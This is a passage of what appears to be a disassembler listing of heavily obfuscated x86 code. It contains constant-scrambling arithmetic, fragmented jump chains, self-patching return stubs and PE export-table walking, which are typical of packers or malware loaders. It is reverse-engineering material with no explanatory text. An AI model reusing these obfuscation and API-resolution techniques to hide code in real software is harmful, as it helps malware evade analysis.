nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7549AD: ; CODE XREF: _0z4jwtox:0074A302j jmp loc_750058 ; --------------------------------------------------------------------------- popf jmp sub_748BBE ; --------------------------------------------------------------------------- cmp edx, 0FEB8DA71h jmp loc_750109 ; --------------------------------------------------------------------------- and esi, 5C4A0631h jmp sub_745697 ; --------------------------------------------------------------------------- loc_7549CE: ; CODE XREF: _0z4jwtox:00752545j mov byte ptr [eax], 0C3h jmp loc_751388 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_7549D6: ; CODE XREF: sub_746E37:loc_751388j pop edx mov eax, [esp-14h+arg_10] push edx loc_7549DB: ; CODE XREF: sub_746E37:loc_7527D3j call sub_75364C loc_7549E0: ; CODE XREF: _0z4jwtox:007555BCj push 162A00F7h jmp loc_750FB2 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752EB8 loc_7549EA: ; CODE XREF: sub_752EB8+16j rol edx, 3 or edx, 0E731A670h add edx, 843039h mov [edx], eax jmp loc_746BCB ; END OF FUNCTION CHUNK FOR sub_752EB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_754A00: ; CODE XREF: sub_752957-72E7j jz loc_7505F5 loc_754A06: ; CODE XREF: _0z4jwtox:0074CC75j jmp sub_745715 ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- test eax, 2EABC6C1h jmp loc_750275 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_754A16: ; CODE XREF: sub_745A78+D917j add esi, ebp xor ecx, eax loc_754A1A: ; CODE XREF: sub_745A78:loc_74950Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_756823 jmp loc_746969 ; END OF FUNCTION CHUNK FOR sub_745A78 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_754A2B proc near ; DATA XREF: sub_74985C:loc_745F4Fo jmp loc_757687 sub_754A2B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74985C loc_754A30: ; CODE XREF: sub_7453AD+3j ; sub_74985C:loc_753E8Ej pop ecx xchg edx, [esp+0] mov ebp, edx pop edx retn ; END OF FUNCTION CHUNK FOR sub_74985C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD26 loc_754A38: ; CODE XREF: sub_74BD26+Aj jmp sub_74C7A2 ; END OF FUNCTION CHUNK FOR sub_74BD26 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_754A3D proc near ; CODE XREF: sub_7474B9-501j ; sub_7474B9+Dp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074699F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074B639 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_74B639 sub_754A3D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_754A46: ; CODE XREF: _0z4jwtox:loc_7529D7j rol esi, 2 push offset loc_747708 jmp locret_75230D ; --------------------------------------------------------------------------- adc ebp, 0C23B599Dh sub eax, ebx jmp sub_74A0BD ; =============== S U B R O U T I N E ======================================= sub_754A60 proc near ; CODE XREF: sub_755F71j ; DATA XREF: sub_755F42+Co ; FUNCTION CHUNK AT 00750BB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007542BF SIZE 00000014 BYTES mov eax, [esp+0] push edx call sub_754A3D mov eax, 205AA81Dh call sub_746E93 jmp loc_7542BF sub_754A60 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DBEB loc_754A78: ; CODE XREF: sub_74DBEB:loc_7545FEj pop ecx add ecx, 1EB78EB4h xor ecx, 0F255DF3h ; END OF FUNCTION CHUNK FOR sub_74DBEB ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_754A85: ; CODE XREF: sub_74CBCF+15E2j sub ecx, 9C36EEA2h and ecx, 7B73720Eh add ecx, 0D774ED2Dh xchg ecx, [esp+0] loc_754A9A: ; CODE XREF: _0z4jwtox:loc_745FDFj jmp loc_74ED3A ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- db 8Bh dd 78F8E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_754AA6: ; CODE XREF: sub_74A7D8+B794j jnz loc_74FF43 mov ecx, 9827A10Fh jmp loc_74874E ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- loc_754AB6: ; CODE XREF: _0z4jwtox:007492C6j test ecx, 80000h jmp loc_7490EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_754AC1: ; CODE XREF: sub_7473D1+AD96j cmp ebx, 0B95AB76Ah jmp loc_757454 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_754ACC: ; CODE XREF: sub_74698F:loc_74DE0Fj cmp edx, 198F41EEh jmp loc_746249 ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- mov [eax], ebx jmp sub_74A051 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_754ADF: ; CODE XREF: sub_747C22+D572j jmp loc_74DF79 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_754AE4: ; CODE XREF: _0z4jwtox:0074B665j jmp loc_746F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_754AE9: ; CODE XREF: sub_74E762+5AA3j jz loc_7452FF jmp loc_747912 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- loc_754AF4: ; DATA XREF: sub_74962Eo push ecx push 0AF3E80EAh pop ecx xor ecx, 616C666Fh rol ecx, 0Bh or ecx, 0DB220D3h add ecx, 60BEBC3Ah jmp loc_74F25E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_754B16: ; CODE XREF: sub_748C0D+9417j jmp loc_74D592 ; END OF FUNCTION CHUNK FOR sub_748C0D ; =============== S U B R O U T I N E ======================================= sub_754B1B proc near ; CODE XREF: _0z4jwtox:00745CC2j ; _0z4jwtox:00749767p ; FUNCTION CHUNK AT 00748DAD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A46C SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add eax, 7AF7DC7h call sub_746E93 jmp loc_748DAD sub_754B1B endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg edx, [ecx] jmp loc_7493D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_754B36: ; CODE XREF: sub_748C3B:loc_754049j ; _0z4jwtox:0075405Fj add edx, 0BB8E3FAh rol edx, 1Ch add edx, 5DF73CB7h call sub_7572C4 loc_754B4A: ; CODE XREF: sub_756639+Dj jmp sub_753D0E ; END OF FUNCTION CHUNK FOR sub_748C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_754B4F: ; CODE XREF: sub_74698F+4351j jmp loc_7538BD ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_754B54: ; CODE XREF: sub_74CF35:loc_747F5Dj ; _0z4jwtox:0074AA9Bj mov ebx, [ebx+ecx] call sub_75422B ; END OF FUNCTION CHUNK FOR sub_74CF35 ; START OF FUNCTION CHUNK FOR sub_754729 loc_754B5C: ; CODE XREF: sub_754729-ECD6j ; sub_74CF35-5C03j ... js loc_74B8BB loc_754B62: ; CODE XREF: _0z4jwtox:0074D4BAj mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_75237C jmp loc_754BB9 ; END OF FUNCTION CHUNK FOR sub_754729 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_754B77: ; CODE XREF: sub_75364C-CC6Cj jmp loc_74FE66 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A372 loc_754B7C: ; CODE XREF: sub_74A372:loc_74A37Ej jz loc_754B8C inc dword ptr [ebp-8] loc_754B85: ; CODE XREF: sub_7500C5:loc_7500DAj ; sub_74A372+69F8j mov eax, [ebp-8] loc_754B88: ; CODE XREF: sub_74AE67:loc_74D3D3j pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_754B8C: ; CODE XREF: sub_74A372:loc_754B7Cj mov eax, [ebp+8] jmp loc_747472 ; END OF FUNCTION CHUNK FOR sub_74A372 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_754B94: ; CODE XREF: sub_74BF3A:loc_748A3Aj ; sub_74BF3A+4101j xor eax, 0D5F98004h add eax, 71443726h sub eax, 0D732FD66h xor eax, 86EDEC75h add eax, ebp add eax, 899CDBBEh call sub_752520 loc_754BB9: ; CODE XREF: sub_754729+448j jmp loc_755A36 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- loc_754BBE: ; CODE XREF: _0z4jwtox:0074A13Dj lea eax, nullsub_191 mov byte ptr [eax], 0C3h jmp loc_74F65B ; --------------------------------------------------------------------------- xchg ebx, [esp] mov edx, ebx jmp loc_753E53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_754BD6: ; CODE XREF: sub_7474B9+848Dj popf loc_754BD7: ; CODE XREF: sub_7474B9:loc_7493A8j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74F6F8 jmp loc_754643 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75427C loc_754BE8: ; CODE XREF: sub_75427C+12j sub ebx, 0A6293607h or ebx, 0D159C7DCh js loc_74F5EE loc_754BFA: ; CODE XREF: _0z4jwtox:007514A7j jmp loc_755199 ; END OF FUNCTION CHUNK FOR sub_75427C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_754BFF: ; CODE XREF: sub_74CBCF-1753j jmp loc_74F970 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- cdq jmp loc_74F5E1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_754C0B: ; CODE XREF: _0z4jwtox:007543B5j jmp loc_7533C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750560 loc_754C10: ; CODE XREF: sub_750560+Dj jmp nullsub_11 ; END OF FUNCTION CHUNK FOR sub_750560 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B89 loc_754C15: ; CODE XREF: sub_748B89+9j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_748B89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746F33 loc_754C1A: ; CODE XREF: sub_746F33:loc_75635Cj call nullsub_9 call nullsub_8 push ebx push 0EE9B5454h pop ebx or ebx, 98AB2303h add ebx, 1B9C526h xchg ebx, [esp+0] jmp loc_746113 ; END OF FUNCTION CHUNK FOR sub_746F33 ; =============== S U B R O U T I N E ======================================= sub_754C3F proc near ; CODE XREF: sub_7468F2+3AFEp ; _0z4jwtox:0075059Cj ; FUNCTION CHUNK AT 0074C2B6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00751326 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov al, [ebp-0Ah] shr eax, 4 xor [ebp-0Ah], al inc dword ptr [ebp-8] jmp loc_74C2B6 sub_754C3F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_754C54: ; CODE XREF: _0z4jwtox:0074BF88j pop ebp push edi push 0E6469360h pop edi loc_754C5C: ; CODE XREF: _0z4jwtox:007479A6j jmp loc_752F59 ; --------------------------------------------------------------------------- cmp edx, ebx jmp loc_750E16 ; =============== S U B R O U T I N E ======================================= sub_754C68 proc near ; CODE XREF: _0z4jwtox:loc_74B6D2j ; sub_754C68-9401j ... ; FUNCTION CHUNK AT 00748EA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A471 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B84E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0074CDDC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E5BE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00752086 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00753429 SIZE 0000000B BYTES xchg esi, [esp+0] mov edx, esi loc_754C6D: ; CODE XREF: sub_747AEC:loc_74F600j pop esi jno loc_74B86C mov eax, [esp+0] loc_754C77: ; CODE XREF: sub_74A96E-3112j push edx call sub_74A3AB jmp loc_74A471 sub_754C68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E84B loc_754C82: ; CODE XREF: sub_74E84B-3FFj xor edx, ebx push 1B54BEE6h cdq loc_754C8A: ; CODE XREF: sub_74E84B:loc_745FBEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_746C22 jmp loc_74840E ; END OF FUNCTION CHUNK FOR sub_74E84B ; --------------------------------------------------------------------------- loc_754C9B: ; CODE XREF: _0z4jwtox:00753577j imul byte ptr [edx] cmp al, 0A4h jz loc_7539C0 ; START OF FUNCTION CHUNK FOR sub_747C22 loc_754CA5: ; CODE XREF: sub_747C22:loc_749A34j jmp loc_752D9F ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7559F0 loc_754CAA: ; CODE XREF: sub_7559F0+Bj push offset sub_7529AB jmp loc_7543DE ; END OF FUNCTION CHUNK FOR sub_7559F0 ; --------------------------------------------------------------------------- loc_754CB4: ; CODE XREF: _0z4jwtox:loc_75667Cj push edx push offset sub_74D1BD jmp locret_74C136 ; =============== S U B R O U T I N E ======================================= sub_754CBF proc near ; CODE XREF: sub_74D23E-54B0p ; _0z4jwtox:0074A358j ; FUNCTION CHUNK AT 0074ACE6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AEA7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074D134 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075000B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00756D9C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00757687 SIZE 00000014 BYTES xchg eax, [esp+0] pop eax mov eax, [eax] popf push edi pushf push 1CE49E9Bh pop edi jmp loc_74AEA7 sub_754CBF endp ; sp-analysis failed ; --------------------------------------------------------------------------- jbe loc_748A25 sub edx, 0CDAE1C26h jmp sub_749088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_754CE4: ; CODE XREF: sub_747B31-2947j js loc_74D957 sbb ecx, 43DF6019h loc_754CF0: ; CODE XREF: sub_747B31:loc_74F4E7j ; _0z4jwtox:007534E9j call sub_754FC6 mov edx, 0BB931B55h call sub_74B525 jmp loc_755C23 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_754D04: ; CODE XREF: sub_748B44+425Dj cmp al, 0A4h jz loc_748AE2 jmp loc_7537C2 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_754D11: ; CODE XREF: sub_74F615:loc_748C4Bj ; sub_74F615-4268j mov eax, [ebp-14h] mov eax, [eax+64h] call sub_7473D1 locret_754D1C: ; CODE XREF: _0z4jwtox:00753597j retn ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_754D1D: ; CODE XREF: sub_74BFE0:loc_756587j ror eax, 15h sbb eax, 94A958E0h sbb esi, 0DAEEFC8Ah jmp loc_74D06D ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- loc_754D31: ; DATA XREF: sub_74FB89+3734o mov [ebp-20h], eax ; START OF FUNCTION CHUNK FOR sub_7501AF loc_754D34: ; CODE XREF: sub_7501AF:loc_74B3B8j mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_748250 ; END OF FUNCTION CHUNK FOR sub_7501AF ; START OF FUNCTION CHUNK FOR sub_74A094 loc_754D40: ; CODE XREF: sub_74A094+Aj jns loc_752D0B lea eax, [ebp-125h] loc_754D4C: ; CODE XREF: sub_7473E6:loc_748AE2j push eax call sub_74C2C9 jmp loc_74E4CB ; END OF FUNCTION CHUNK FOR sub_74A094 ; --------------------------------------------------------------------------- loc_754D57: ; CODE XREF: _0z4jwtox:0074A1A5j push 638FF21Ah pop esi or esi, 0E2BA5BADh add esi, 0A497DB73h rol esi, 4 jmp loc_74CE64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_754D71: ; CODE XREF: sub_74C670:loc_74B7EFj and eax, 83CB7101h sub eax, 175911F2h add eax, 89E642B1h call sub_746E93 mov ds:off_41F1A4, eax jmp loc_75753E ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756158 loc_754D93: ; CODE XREF: sub_756158+8F3j push 30927AF3h pop eax xor eax, 0C3C39250h add eax, 0D22CC4Ah xchg eax, [esp+0] jmp sub_748C0D ; END OF FUNCTION CHUNK FOR sub_756158 ; --------------------------------------------------------------------------- loc_754DAD: ; CODE XREF: _0z4jwtox:00748143j or ebx, 0CDDA9541h mov [ecx], edi xchg esi, [ecx] loc_754DB7: ; CODE XREF: _0z4jwtox:00748136j add edi, 0FA9D8053h xchg edi, [esp] jmp loc_754F52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748574 loc_754DC5: ; CODE XREF: sub_748574:loc_74937Aj jz loc_747CBB ; END OF FUNCTION CHUNK FOR sub_748574 ; START OF FUNCTION CHUNK FOR sub_75712E loc_754DCB: ; CODE XREF: sub_75712E-7860j jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475DD loc_754DD0: ; CODE XREF: sub_7475DD+1D18j jmp loc_7493B3 ; END OF FUNCTION CHUNK FOR sub_7475DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_754DD5: ; CODE XREF: sub_748723+Dj jmp loc_749176 ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7451EF loc_754DDA: ; CODE XREF: sub_7451EF+5j jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_7451EF ; --------------------------------------------------------------------------- loc_754DDF: ; CODE XREF: _0z4jwtox:loc_74917Ej sbb ebp, ebx mov [eax], edi jl loc_749E5B jmp loc_747CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_754DEE: ; CODE XREF: sub_74B079-455j lea eax, loc_754618 mov byte ptr [eax], 0C3h jmp loc_754618 ; --------------------------------------------------------------------------- loc_754DFC: ; CODE XREF: sub_74B079+95A0j mov eax, [esp+0] ; END OF FUNCTION CHUNK FOR sub_74B079 ; =============== S U B R O U T I N E ======================================= sub_754DFF proc near ; CODE XREF: sub_747AEC:loc_74F821j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007456F9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00746929 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00749E8E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074DC1C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074EB28 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007511A8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00751F9E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00752EDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754936 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754E0A SIZE 00000028 BYTES push ebp mov ebp, edx xchg ebp, [esp+0] jmp loc_7456F9 sub_754DFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_754E0A: ; CODE XREF: sub_754DFF:loc_749E9Ej mov edi, edx xchg edi, [esp+0Ch+var_C] call sub_748C0D mov eax, 19A5E09Eh call sub_746E93 mov ds:dword_41F1A0, eax lea eax, nullsub_7 mov byte ptr [eax], 0C3h jmp loc_752EDE ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_754E32: ; CODE XREF: sub_747AEC:loc_757488j mov ebp, edx pop edx retn ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_754E36 proc near ; CODE XREF: sub_747736:loc_7477B1j ; sub_7523A2:loc_7496E7p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745F27 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074A284 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B9C0 SIZE 0000000A BYTES push ebx mov ebx, ebp xchg ebx, [esp+4+var_4] loc_754E3C: ; CODE XREF: _0z4jwtox:00754090j jmp loc_74A284 sub_754E36 endp ; =============== S U B R O U T I N E ======================================= sub_754E41 proc near ; DATA XREF: _0z4jwtox:0074CCA0o mov [ecx], eax pop ecx loc_754E44: ; CODE XREF: _0z4jwtox:0075434Fj lea eax, loc_748EB3 mov byte ptr [eax], 0C3h jmp loc_74BDE4 sub_754E41 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_754E52: ; CODE XREF: _0z4jwtox:0074C53Dj mov eax, [esp] push edx call sub_746C25 jmp loc_755855 ; --------------------------------------------------------------------------- loc_754E60: ; CODE XREF: _0z4jwtox:loc_7492A1j or eax, 7A8D7D68h add eax, 81753DAAh xchg eax, [esp] jmp loc_7486A2 ; --------------------------------------------------------------------------- loc_754E74: ; CODE XREF: _0z4jwtox:007486A7j pop eax call sub_74B020 ; START OF FUNCTION CHUNK FOR sub_74E531 loc_754E7A: ; CODE XREF: sub_74E531+9DCj jmp loc_75413C ; END OF FUNCTION CHUNK FOR sub_74E531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_754E7F: ; CODE XREF: sub_748D38:loc_745452j ; _0z4jwtox:00749F33j ... push esi push 899695ABh pop esi or esi, 6CB89185h cmp esi, 52FBC114h jmp loc_755AAF ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- loc_754E97: ; CODE XREF: _0z4jwtox:loc_7452EEj xor ebx, 0F36CAFC9h and ebx, 0EF6621A9h xor ebx, 454C4C58h add ebx, ebp jmp loc_75022F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7535B3 loc_754EB0: ; CODE XREF: sub_7535B3:loc_74E3EDj mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_7535B3 ; START OF FUNCTION CHUNK FOR sub_74E7AE loc_754EB3: ; CODE XREF: sub_7474F5+3DCFj ; sub_74E7AE+12j ... mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74E7AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7450FC loc_754EBA: ; CODE XREF: sub_7450FC+4j ; _0z4jwtox:00753E16j inc dword ptr [ebp-18h] dec dword ptr [ebp-1Ch] jnz loc_749FC6 jmp loc_754EB3 ; END OF FUNCTION CHUNK FOR sub_7450FC ; --------------------------------------------------------------------------- shr ecx, 1Eh jmp loc_7462BD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_754ED4: ; CODE XREF: _0z4jwtox:00750DFAj jmp loc_746AD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_754ED9: ; CODE XREF: sub_749254+5F6Bj sub esi, 6A29E152h rol esi, 8 add esi, 0AB4D47E7h xchg esi, [esp+0Ch+var_C] jmp loc_74F4DD ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_754EF0: ; CODE XREF: sub_756826-E865j jz loc_7540A9 jmp loc_74EE12 ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_754EFB: ; CODE XREF: sub_74D782:loc_746F26j cdq jmp loc_7509D3 ; END OF FUNCTION CHUNK FOR sub_74D782 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_754F02: ; CODE XREF: sub_745C55+8822j jmp loc_74C8EF ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_754F07: ; CODE XREF: sub_74CD80:loc_752FFEj jnz loc_749034 loc_754F0D: ; CODE XREF: _0z4jwtox:0075281Aj jmp loc_7452E1 ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- loc_754F12: ; CODE XREF: _0z4jwtox:00749D70j jmp loc_74B169 ; --------------------------------------------------------------------------- and edi, 4E5C1928h test ebx, 0B029C549h jmp loc_746813 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DC58 loc_754F28: ; CODE XREF: sub_74DC58:loc_75755Bj add edi, 0AD0BA668h add edi, ebp add edi, 64F4B9A1h mov [edi], eax pop edi popf ; END OF FUNCTION CHUNK FOR sub_74DC58 ; START OF FUNCTION CHUNK FOR sub_748DCB loc_754F3A: ; CODE XREF: sub_748DCB+7FFDj push 342C261h jmp loc_747BF1 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- or eax, eax jnz loc_7534DB jmp loc_7485B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_754F52: ; CODE XREF: _0z4jwtox:00754DC0j jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7531B7 loc_754F57: ; CODE XREF: sub_7531B7-8435j jmp sub_74BD26 ; END OF FUNCTION CHUNK FOR sub_7531B7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75375E loc_754F5D: ; CODE XREF: sub_75375E+6j jmp loc_74C900 ; END OF FUNCTION CHUNK FOR sub_75375E ; --------------------------------------------------------------------------- loc_754F62: ; CODE XREF: _0z4jwtox:00747E56j jmp loc_750E42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_754F67: ; CODE XREF: sub_7571A1:loc_74FC74j rol esi, 6 xor edx, 991520FFh rol ecx, 0Fh jmp loc_74A833 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- loc_754F78: ; CODE XREF: _0z4jwtox:loc_752DA4j and eax, 0CB294D61h loc_754F7E: ; CODE XREF: _0z4jwtox:00756B0Bj test eax, 8000h jmp loc_75555C ; --------------------------------------------------------------------------- loc_754F89: ; DATA XREF: sub_74E0EB:loc_74664Ao xchg edi, [esp] mov ebp, esp push ecx mov [ebp-4], eax ; START OF FUNCTION CHUNK FOR sub_74724C loc_754F92: ; CODE XREF: sub_74724C:loc_755EB3j push 669C83D4h pop eax jmp loc_7540B8 ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E685 loc_754F9D: ; CODE XREF: sub_74E685+9j cmp al, 0A4h jz loc_74A39E jmp loc_74B57A ; END OF FUNCTION CHUNK FOR sub_74E685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_754FAA: ; CODE XREF: sub_7541BA:loc_74D843j jl loc_74E931 or ebx, 0FE4995D1h jmp loc_74A35D ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C5B loc_754FBB: ; CODE XREF: sub_745C5B+1Bj push edi push offset loc_7553B5 jmp nullsub_263 ; END OF FUNCTION CHUNK FOR sub_745C5B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_754FC6 proc near ; CODE XREF: sub_74B091+7p ; _0z4jwtox:0074B244p ... var_14 = byte ptr -14h var_8 = dword ptr -8 ; FUNCTION 